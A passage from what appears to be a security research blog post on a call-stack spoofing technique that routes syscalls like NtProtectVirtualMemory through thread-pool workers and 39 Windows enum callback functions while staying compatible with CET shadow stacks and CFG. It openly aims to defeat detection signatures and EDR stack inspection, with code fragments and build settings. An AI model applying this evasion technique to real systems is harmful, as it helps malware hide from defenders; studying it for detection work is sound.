<p>The exact same mechanics apply during the second context switch. The <code class="language-text highlighter-rouge">call user_mode_continue</code> from inside the enum callback pushes a return address (<code class="language-text highlighter-rouge">manual_stack_unwind_enum+0x329</code>) onto the shadow stack. Since we are going to <code class="language-text highlighter-rouge">jmp</code> to the syscall trampoline instead of returning, this entry is stale:</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/phase_2_ssp_before_incsspq.png" alt="Phase 2: Shadow stack before reconciliation" width="767" height="546" />
    <br />
    <em>Phase 2: Shadow stack before reconciliation</em>
</p>

<p>The reconciliation loop finds the discrepancy and advances the SSP. The shadow stack now perfectly matches our forged target (<code class="language-text highlighter-rouge">Internal_EnumSystemLocales+0x348</code>), ready for the syscall’s <code class="language-text highlighter-rouge">ret</code> instruction to pop it without raising a <code class="language-text highlighter-rouge">#CP</code> fault:</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/phase_2_ssp_after_incsspq.png" alt="Phase 2: Shadow stack after reconciliation" width="751" height="527" />
    <br />
    <em>Phase 2: Shadow stack after reconciliation</em>
</p>

<p>After the syscall is successfully executed, <code class="language-text highlighter-rouge">ZwProtectVirtualMemory</code> correctly returns to <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>, proving that the callstack and the shadow stack are perfectly aligned with each other:</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/ssp_vs_cs_after_syscall.png" alt="Shadow stack vs Normal stack after syscall" width="780" height="477" />
    <br />
    <em>Shadow stack vs Normal stack after syscall</em>
</p>

<p><strong>An alternative that also works:</strong> if you make <code class="language-text highlighter-rouge">user_mode_continue</code> <code class="language-text highlighter-rouge">#[inline(always)]</code>, there’s no <code class="language-text highlighter-rouge">call</code> instruction and no stale entry. The shadow stack is already aligned because <code class="language-text highlighter-rouge">RtlVirtualUnwind</code> produces the exact same return addresses that the CPU pushed during the real <code class="language-text highlighter-rouge">CALL</code> chain. The reconciliation loop compares, finds a match on the first iteration, and <code class="language-text highlighter-rouge">INCSSPQ</code> never fires. Both paths are CET-compliant; the difference is whether the reconciliation is active or passive.</p>

<p>In this PoC specifically, <code class="language-text highlighter-rouge">#[inline(never)]</code> artificially introduces the stale entry to exercise the reconciliation under controlled conditions. But in any non-trivial implementation (helper functions, compiler-generated calls, dynamic dispatch between the unwind and the context switch), those stale entries appear naturally and the loop becomes structurally mandatory. See the full discussion in <a href="#56-user_mode_continue-cet-compliant-context-switch">Section 5.6</a>.</p>

<p>Also, if CET is disabled, <code class="language-text highlighter-rouge">RDSSPQ</code> returns 0, the loop is skipped, everything works. Same binary runs on CET and non-CET systems.</p>

<h3 id="64-build-configuration-for-cet">6.4 Build Configuration for CET</h3>

<p>The PoC compiles with maximum CET strictness:</p>

<div class="language-toml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre><span class="c"># .cargo/config.toml</span>
<span class="nn">[target.x86_64-pc-windows-msvc]</span>
<span class="py">rustflags</span> <span class="p">=</span> <span class="p">[</span>
    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"control-flow-guard</span><span class="p">=</span><span class="err">yes</span><span class="s">",</span><span class="err">
</span>    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/CETCOMPAT</span><span class="s">",</span><span class="err">
</span>    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/force:guardehcont</span><span class="s">",</span><span class="err">
</span>    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/guard:ehcont</span><span class="s">",</span><span class="err">
</span>    <span class="c"># "-Z", "ehcont-guard",  # requires nightly; uncomment if using rustc nightly</span>
    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/DYNAMICBASE</span><span class="s">",</span><span class="err">
</span>    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/NXCOMPAT</span><span class="s">",</span><span class="err">
</span>    <span class="s">"-C"</span><span class="p">,</span> <span class="py">"link-arg</span><span class="p">=</span><span class="err">/HIGHENTROPYVA</span><span class="s">",</span><span class="err">
</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-text highlighter-rouge">/CETCOMPAT</code> marks the binary as CET-compatible. <code class="language-text highlighter-rouge">/guard:ehcont</code> enables EH continuation metadata, and <code class="language-text highlighter-rouge">/force:guardehcont</code> tells the linker to emit it even if some object files lack it. The <code class="language-text highlighter-rouge">-Z ehcont-guard</code> flag is a Rust compiler option that generates the EH continuation table at the LLVM level, but it’s a nightly-only <code class="language-text highlighter-rouge">-Z</code> flag, so it’s disabled by default. The PoC works fine without it; the linker-level flags are sufficient for CET enforcement. If you’re on nightly, uncomment it for the full belt-and-suspenders treatment.</p>

<p>If the technique had a CET bug, the process would crash during testing. It doesn’t.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/PE_DLL_Characteristics.png" alt="PE DLL Characteristics" width="490" height="242" />
    <br />
    <em>PE DLL Characteristics</em>
</p>

<h3 id="65-a-note-on-cfg-compatibility">6.5 A Note on CFG Compatibility</h3>

<p>CET is not the only control-flow integrity mitigation on modern Windows. <strong>Control Flow Guard</strong> (CFG) protects indirect calls: before an indirect <code class="language-text highlighter-rouge">call [reg]</code> executes, the compiler-injected <code class="language-text highlighter-rouge">_guard_check_icall</code> verifies that the target is in the bitmap of allowed function entry points. If not, the process dies.</p>

<p>This technique never runs into CFG. Every real call is a direct call to an exported API (<code class="language-text highlighter-rouge">SubmitThreadpoolWork</code>, <code class="language-text highlighter-rouge">WaitForThreadpoolWorkCallbacks</code>, <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code>) and those are CFG-valid targets by construction. The interesting redirects, the ones that would look suspicious to CFG, are done with <code class="language-text highlighter-rouge">jmp</code>, not <code class="language-text highlighter-rouge">call</code>. CFG doesn’t touch <code class="language-text highlighter-rouge">jmp</code>.</p>

<p>Extended Flow Guard (xFG) does cover certain indirect <code class="language-text highlighter-rouge">jmp</code> targets, but it’s not universally deployed and my <code class="language-text highlighter-rouge">jmp</code> destinations are legitimate offsets inside signed Microsoft modules. Returns are covered by CET, which the technique explicitly reconciles.</p>

<p>This is an accidental property, not a design goal. The reason for <code class="language-text highlighter-rouge">jmp</code> instead of <code class="language-text highlighter-rouge">call</code> was that <code class="language-text highlighter-rouge">call</code> would push a return address on the shadow stack that I don’t want there. That the same choice also sidesteps CFG is a free win.</p>

<hr />

<h2 id="7-the-39-enum-functions">7. The 39 Enum Functions</h2>

<h3 id="71-the-complete-list">7.1 The Complete List</h3>

<p>I identified 39 callback-accepting functions across <code class="language-text highlighter-rouge">kernel32.dll</code> and <code class="language-text highlighter-rouge">kernelbase.dll</code> suitable as signed middle frames. In the PoC, only <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> is used for simplicity, but in a real implementation these can be selected randomly at each <code class="language-text highlighter-rouge">syscall</code> invocation to prevent stable stack fingerprints and thus significantly increase runtime polymorphism.</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Function</th>
      <th>Module</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-text highlighter-rouge">EnumUILanguagesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-text highlighter-rouge">EnumUILanguagesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-text highlighter-rouge">EnumSystemLanguageGroupsA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-text highlighter-rouge">EnumSystemLanguageGroupsW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-text highlighter-rouge">EnumLanguageGroupLocalesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>6</td>
      <td><code class="language-text highlighter-rouge">EnumLanguageGroupLocalesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>7</td>
      <td><code class="language-text highlighter-rouge">EnumResourceTypesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>8</td>
      <td><code class="language-text highlighter-rouge">EnumResourceTypesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>9</td>
      <td><code class="language-text highlighter-rouge">EnumResourceTypesExA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>10</td>
      <td><code class="language-text highlighter-rouge">EnumResourceTypesExW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>11</td>
      <td><code class="language-text highlighter-rouge">EnumResourceNamesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>12</td>
      <td><code class="language-text highlighter-rouge">EnumResourceNamesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>13</td>
      <td><code class="language-text highlighter-rouge">EnumResourceNamesExA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>14</td>
      <td><code class="language-text highlighter-rouge">EnumResourceNamesExW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>15</td>
      <td><code class="language-text highlighter-rouge">EnumResourceLanguagesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>16</td>
      <td><code class="language-text highlighter-rouge">EnumResourceLanguagesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>17</td>
      <td><code class="language-text highlighter-rouge">EnumResourceLanguagesExA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>18</td>
      <td><code class="language-text highlighter-rouge">EnumResourceLanguagesExW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>19</td>
      <td><code class="language-text highlighter-rouge">EnumCalendarInfoA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>20</td>
      <td><code class="language-text highlighter-rouge">EnumCalendarInfoW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>21</td>
      <td><code class="language-text highlighter-rouge">EnumCalendarInfoExA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>22</td>
      <td><code class="language-text highlighter-rouge">EnumCalendarInfoExW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>23</td>
      <td><code class="language-text highlighter-rouge">EnumCalendarInfoExEx</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>24</td>
      <td><code class="language-text highlighter-rouge">EnumDateFormatsA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>25</td>
      <td><code class="language-text highlighter-rouge">EnumDateFormatsW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>26</td>
      <td><code class="language-text highlighter-rouge">EnumDateFormatsExA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>27</td>
      <td><code class="language-text highlighter-rouge">EnumDateFormatsExW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>28</td>
      <td><code class="language-text highlighter-rouge">EnumDateFormatsExEx</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>29</td>
      <td><code class="language-text highlighter-rouge">EnumSystemCodePagesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>30</td>
      <td><code class="language-text highlighter-rouge">EnumSystemCodePagesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>31</td>
      <td><code class="language-text highlighter-rouge">EnumSystemGeoID</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>32</td>
      <td><code class="language-text highlighter-rouge">EnumSystemGeoNames</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>33</td>
      <td><code class="language-text highlighter-rouge">EnumSystemLocalesA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>34</td>
      <td><code class="language-text highlighter-rouge">EnumSystemLocalesW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>35</td>
      <td><code class="language-text highlighter-rouge">EnumSystemLocalesEx</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>36</td>
      <td><code class="language-text highlighter-rouge">EnumTimeFormatsA</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>37</td>
      <td><code class="language-text highlighter-rouge">EnumTimeFormatsW</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>38</td>
      <td><code class="language-text highlighter-rouge">EnumTimeFormatsEx</code></td>
      <td>kernel32 / kernelbase</td>
    </tr>
    <tr>
      <td>39</td>
      <td><code class="language-text highlighter-rouge">InitOnceExecuteOnce</code></td>
      <td>kernelbase</td>
    </tr>
  </tbody>
</table>

<h3 id="72-why-these-functions-work">7.2 Why These Functions Work</h3>

<p>These functions share a property that makes them perfect for this technique: they stop enumeration when the callback returns <code class="language-text highlighter-rouge">0</code>.</p>

<p>Here’s the trick. When the <code class="language-text highlighter-rouge">syscall</code> executes through the trampoline, <code class="language-text highlighter-rouge">RAX</code> ends up holding the <code class="language-text highlighter-rouge">NTSTATUS</code> result. Then <code class="language-text highlighter-rouge">ret</code> returns to <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code> (or equivalent), which looks at <code class="language-text highlighter-rouge">EAX</code> as if it were the callback’s return value.</p>

<p>NT syscalls return <code class="language-text highlighter-rouge">STATUS_SUCCESS</code> on success. Guess what <code class="language-text highlighter-rouge">STATUS_SUCCESS</code> is? Zero.</p>

<p>And what does the enum function do when the callback returns <code class="language-text highlighter-rouge">0</code>? It interprets it as <code class="language-text highlighter-rouge">FALSE</code> (“stop enumerating”) and quits.</p>

<p>So in the success case: <code class="language-text highlighter-rouge">syscall</code> returns <code class="language-text highlighter-rouge">0</code>, enum function stops, callback called only once, done. Clean, efficient, no extra invocations.</p>

<p>In the failure case: <code class="language-text highlighter-rouge">syscall</code> returns some non-zero <code class="language-text highlighter-rouge">NTSTATUS</code>, enum function interprets it as <code class="language-text highlighter-rouge">TRUE</code> (“keep going”), calls the callback again. That second invocation is Phase 3, which forcefully returns <code class="language-text highlighter-rouge">0</code> to stop.</p>

<p>This alignment between <code class="language-text highlighter-rouge">NTSTATUS</code> success and the callback’s “stop” value is not a coincidence. It’s precisely why I selected these 39 functions: they all respect this convention.</p>

<h3 id="73-not-all-functions-support-all-syscall-argument-counts">7.3 Not All Functions Support All Syscall Argument Counts</h3>

<p>Here’s something that cost me a lot of time and sanity to figure out.</p>

<p>When we set up the <code class="language-text highlighter-rouge">syscall</code> in Phase 2, arguments 5 through 11 go on the stack, in the area that currently belongs to the enum function’s own stack frame. We’re literally overwriting memory that the enum function might be actively using.</p>

<p>Now, each enum function has a different prologue. Some allocate more stack space than others. If our <code class="language-text highlighter-rouge">syscall</code> has, say, 10 arguments, we’re writing to stack slots <code class="language-text highlighter-rouge">[RSP+0x28]</code> through <code class="language-text highlighter-rouge">[RSP+0x78]</code>. If the enum function only allocated enough space for its own 3 local variables, we just overwrote its locals, its saved registers, or who knows what else. Crash.</p>

<p>So not every enum function can support every <code class="language-text highlighter-rouge">syscall</code> argument count. In the full implementation (not the PoC), each function is profiled at runtime to determine the maximum number of <code class="language-text highlighter-rouge">syscall</code> arguments it can safely support. The profiler works like this:</p>

<ol>
  <li>Call the enum function with a special naked callback</li>
  <li>The callback captures the return address and the <code class="language-text highlighter-rouge">RSP</code> at entry</li>
  <li>Walk back through the call stack with <code class="language-text highlighter-rouge">RtlVirtualUnwind</code> to measure how many bytes the enum function’s prologue allocated on the stack</li>
  <li>Divide by 8 to get the number of 8-byte slots available</li>
  <li>Clamp the result against a per-function safe maximum, determined empirically by testing across multiple Windows builds; the final <code class="language-text highlighter-rouge">max_args</code> is the smaller of the two values</li>
</ol>

<p>The result is a <code class="language-text highlighter-rouge">max_args</code> value for each function. When dispatching a <code class="language-text highlighter-rouge">syscall</code>, the dispatcher picks a random enum function from those whose <code class="language-text highlighter-rouge">max_args</code> is at least as large as the <code class="language-text highlighter-rouge">syscall</code>’s argument count.</p>

<p>For example, <code class="language-text highlighter-rouge">EnumSystemCodePagesA</code> might support up to 5 arguments, while <code class="language-text highlighter-rouge">EnumResourceLanguagesW</code> supports up to 11 (actually, it might even be more than 11, but I’ve never tested this code with system calls that require more than 11 parameters). A <code class="language-text highlighter-rouge">syscall</code> with 10 arguments can only use the latter.</p>

<p>This profiling has to be done on each Windows build, because the amount of stack space each function allocates can change between releases as Microsoft recompiles the code. I have tested this across multiple Windows versions from Win8 onward, and let me tell you, it was not a fun experience. More on this in <a href="#81-the-enum-function-crashes">Section 8.1</a>.</p>

<h3 id="74-a-note-on-initonceexecuteonce">7.4 A Note on <code class="language-text highlighter-rouge">InitOnceExecuteOnce</code></h3>

<p>The attentive reader will have noticed that <code class="language-text highlighter-rouge">InitOnceExecuteOnce</code> is not, strictly speaking, an “Enum” function. It doesn’t enumerate anything. It’s a one-shot initialization primitive: it calls your callback exactly once (if the <code class="language-text highlighter-rouge">INIT_ONCE</code> block hasn’t been initialized yet) and never calls it again.</p>

<p>So why is it in the list? Because it satisfies all the same requirements:</p>

<ol>
  <li>It accepts a callback pointer</li>
  <li>It calls the callback at least once (assuming the <code class="language-text highlighter-rouge">INIT_ONCE</code> block is fresh, which we ensure
by zeroing it before each use)</li>
  <li>When the callback returns <code class="language-text highlighter-rouge">0</code> (<code class="language-text highlighter-rouge">FALSE</code>), it treats the initialization as failed and doesn’t do
anything weird</li>
  <li>It lives in <code class="language-text highlighter-rouge">kernelbase.dll</code></li>
  <li>It creates a legitimate frame on the call stack</li>
</ol>

<p>Its calling convention is slightly different (the callback receives an <code class="language-text highlighter-rouge">LPINIT_ONCE</code> pointer, a parameter, and a context pointer), but since we only care about the stack frame it creates and not about its actual semantics, it works just fine as a trampoline.</p>

<p>Including non-Enum functions that satisfy the requirements is deliberate: the more diverse the pool, the harder it is to build a detection signature.</p>

<h3 id="75-why-not-user32dll">7.5 Why Not <code class="language-text highlighter-rouge">user32.dll</code>?</h3>

<p><code class="language-text highlighter-rouge">user32.dll</code> has plenty of enum functions too: <code class="language-text highlighter-rouge">EnumWindows</code>, <code class="language-text highlighter-rouge">EnumDesktopWindows</code>,
<code class="language-text highlighter-rouge">EnumDisplayMonitors</code>, etc. I intentionally excluded them because <code class="language-text highlighter-rouge">user32.dll</code> is not loaded by default in every process.</p>

<p>Console applications, services, and most non-GUI programs don’t have <code class="language-text highlighter-rouge">user32.dll</code> in their address space. Loading it with <code class="language-text highlighter-rouge">LoadLibrary</code> would be a suspicious, monitorable event. By sticking to <code class="language-text highlighter-rouge">kernel32.dll</code> and <code class="language-text highlighter-rouge">kernelbase.dll</code>, which are always loaded, I avoid that problem.</p>

<hr />

<h2 id="8-the-debugging-nightmare">8. The Debugging Nightmare</h2>

<p>I’d be lying if I said this worked on the first try. Let me share some of the pain, because if you try to implement something similar, you’ll likely run into the same walls.</p>

<h3 id="81-the-enum-function-crashes">8.1 The Enum Function Crashes</h3>

<p>The first version of the full implementation (not the PoC) used a hardcoded table of “safe” argument counts per enum function. As soon as I tested on a different Windows build, half the functions started crashing.</p>

<p>The problem: Microsoft recompiles these functions between releases, and the prologue might allocate a different amount of stack space. A function that happily supported 8 <code class="language-text highlighter-rouge">syscall</code> arguments on Windows 10 21H2 would crash on 22H2 because it now allocates 16 fewer bytes in its prologue. My 8th argument was overwriting a saved register.</p>

<p>The fix was a two-layer approach. The runtime profiler I described in <a href="#73-not-all-functions-support-all-syscall-argument-counts">7.3</a> measures each function’s available stack space at startup. But the profiler’s result alone isn’t trusted blindly, it’s clamped against a per-function safe maximum that I determined empirically by testing across every supported Windows build (≥ 8 and Server ≥ 2012). The final <code class="language-text highlighter-rouge">max_args</code> is the smaller of the two values.</p>

<p>Finding those empirical caps was the painful part. Every time I thought I had the right values, a different build would break a function I assumed was safe. The profiler handles the dynamic side (it adapts if a future Windows build changes a prologue), while the empirical caps act as a safety net to catch cases the profiler can’t see.</p>

<h3 id="82-the-thread-pool-crashes">8.2 The Thread Pool Crashes</h3>

<p>Even after the enum function profiling was working, I kept getting crashes in the thread pool internals. The worker would execute, the enum callback would run, the <code class="language-text highlighter-rouge">syscall</code> would succeed… and then the process would die on its way back to <code class="language-text highlighter-rouge">TppWorkpExecute</code>.</p>

<p>The culprit: incorrect stack restoration. In Phase 1, when I redirect execution to the enum function, I overwrite three stack slots (at <code class="language-text highlighter-rouge">RSP+0x20</code>, <code class="language-text highlighter-rouge">RSP+0x28</code>, <code class="language-text highlighter-rouge">RSP+0x30</code>) with the enum function’s 5th/6th/7th arguments. These slots belong to the thread pool worker’s caller (the internal TP code). When the enum function returns and the TP code tries to read its own local state from those positions, it finds my zeroes instead. Crash.</p>

<p>The fix is what you see in the enum callback’s preamble: at the very beginning, before doing anything else, restore those three slots to their original values. The values were backed up in Phase 1 (<code class="language-text highlighter-rouge">backup_addr/val_arg5/6/7</code>). The restore is idempotent: after restoring, the backup address is set to <code class="language-text highlighter-rouge">0</code> so a second invocation doesn’t double-write.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="n">args</span><span class="py">.backup_addr_arg5</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">{</span>
    <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">args</span><span class="py">.backup_addr_arg5</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">,</span> <span class="n">args</span><span class="py">.backup_val_arg5</span><span class="p">)</span> <span class="p">};</span>
    <span class="n">args</span><span class="py">.backup_addr_arg5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">if</span> <span class="n">args</span><span class="py">.backup_addr_arg6</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">{</span>
    <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">args</span><span class="py">.backup_addr_arg6</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">,</span> <span class="n">args</span><span class="py">.backup_val_arg6</span><span class="p">)</span> <span class="p">};</span>
    <span class="n">args</span><span class="py">.backup_addr_arg6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">if</span> <span class="n">args</span><span class="py">.backup_addr_arg7</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">{</span>
    <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">args</span><span class="py">.backup_addr_arg7</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">,</span> <span class="n">args</span><span class="py">.backup_val_arg7</span><span class="p">)</span> <span class="p">};</span>
    <span class="n">args</span><span class="py">.backup_addr_arg7</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This was one of those bugs where the crash happened in system code (the TP internals), the debugger showed a corrupted frame, and there was zero indication of what went wrong. It took me days of staring at hex dumps of the stack to figure out which bytes were being clobbered and by whom.</p>

<h3 id="83-the-8-byte-offset-that-ruined-my-week">8.3 The 8-Byte Offset That Ruined My Week</h3>

<p>This one is embarrassing in hindsight, but it drove me crazy at the time.</p>

<p>When I first wrote the stack slot backup code in Phase 1, I calculated the positions using <code class="language-text highlighter-rouge">sp_orig</code> (which is <code class="language-text highlighter-rouge">new_rsp</code>, i.e., the parent’s RSP minus 8). So:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">new_rsp</span> <span class="o">+</span> <span class="mi">0x20</span> <span class="o">=</span> <span class="p">(</span><span class="n">parent_rsp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">0x20</span> <span class="o">=</span> <span class="n">parent_rsp</span> <span class="o">+</span> <span class="mi">0x18</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>But wait. The return address is at <code class="language-text highlighter-rouge">[new_rsp]</code>. That means from the callee’s (enum function’s) perspective, the home space starts at <code class="language-text highlighter-rouge">[RSP+0x08]</code>, not <code class="language-text highlighter-rouge">[RSP+0x00]</code>. Everything is shifted by 8 bytes because of the return address I manually placed on the stack.</p>

<p>So what I thought was the “5th parameter position” was actually the 4th parameter’s home space. I was backing up and restoring the wrong slots. The enum function would trash the real 5th slot (which I hadn’t backed up), and the TP code would crash on return.</p>

<p>Once I realized the offset was wrong, the fix was simple. But finding it? I had a stack full of numbers that were “almost right” and a crash that didn’t happen until the code was 3 function calls deep in the TP internals. I must have looked at hex dumps of the stack for an entire week before I noticed the 8-byte discrepancy.</p>

<p>The moral of the story: when you’re manually building stack frames, off-by-one means off-by-eight on x64. And off-by-eight means your code works 90% of the time but crashes in the other 10% with no obvious pattern.</p>

<h3 id="84-incsspd-vs-incsspq-the-4-byte-misalignment">8.4 <code class="language-text highlighter-rouge">INCSSPD</code> vs <code class="language-text highlighter-rouge">INCSSPQ</code>: The 4-Byte Misalignment</h3>

<p>This one wins the award for “most bytes of damage per character of source code.” One missing byte in an opcode. Weeks of confusion.</p>

<p>The original implementation used <code class="language-text highlighter-rouge">INCSSPD</code> (the 32-bit variant) to advance the shadow stack pointer:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="py">.byte</span> <span class="mi">0xF3</span><span class="p">,</span> <span class="mi">0x0F</span><span class="p">,</span> <span class="mi">0xAE</span><span class="p">,</span> <span class="mi">0xE9</span>    <span class="c1">// INCSSPD ecx, advances SSP by ecx × 4 bytes</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>On x64, shadow stack entries are 8 bytes. <code class="language-text highlighter-rouge">INCSSPD</code> with <code class="language-text highlighter-rouge">ecx=1</code> advances by 4 bytes, half an entry. The SSP ends up pointing to the <em>middle</em> of a return address. Every subsequent read from the shadow stack is garbage. The next <code class="language-text highlighter-rouge">ret</code> compares the real return address against the upper 4 bytes of one entry concatenated with the lower 4 bytes of the next. <code class="language-text highlighter-rouge">#CP</code> fault. Process dead.</p>

<p>The fix is one byte, the REX.W prefix (<code class="language-text highlighter-rouge">0x48</code>), to switch to the 64-bit variant:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="py">.byte</span> <span class="mi">0xF3</span><span class="p">,</span> <span class="mi">0x48</span><span class="p">,</span> <span class="mi">0x0F</span><span class="p">,</span> <span class="mi">0xAE</span><span class="p">,</span> <span class="mi">0xE9</span>    <span class="c1">// INCSSPQ rcx, advances SSP by rcx × 8 bytes</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The reason this bug survived so long: the original <code class="language-text highlighter-rouge">user_mode_continue</code> was <code class="language-text highlighter-rouge">#[inline(always)]</code>. With inlining, there’s no <code class="language-text highlighter-rouge">call</code> instruction, no stale shadow stack entry, and the <code class="language-text highlighter-rouge">INCSSPQ</code> loop never fires. The bug was latent, structurally present but never executed. When I switched to <code class="language-text highlighter-rouge">#[inline(never)]</code> (to make the CET reconciliation active), the loop finally ran, and the 4-byte misalignment immediately manifested as a <code class="language-text highlighter-rouge">STATUS_STACK_BUFFER_OVERRUN</code> (fast-fail code <code class="language-text highlighter-rouge">0x39</code>) at the trampoline’s <code class="language-text highlighter-rouge">ret</code>.</p>

<p>The exception was at <code class="language-text highlighter-rouge">ntdll!NtProtectVirtualMemory+0x14</code> (the <code class="language-text highlighter-rouge">ret</code> after <code class="language-text highlighter-rouge">syscall</code>). The callstack was perfect, every frame from a signed module. But the shadow stack was misaligned by 4 bytes, and CET didn’t care how pretty the normal stack looked.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/STATUS_STACK_BUFFER_OVERRUN.png" alt="STATUS STACK BUFFER OVERRUN" width="827" height="494" />
    <br />
    <em>STATUS STACK BUFFER OVERRUN</em>
</p>

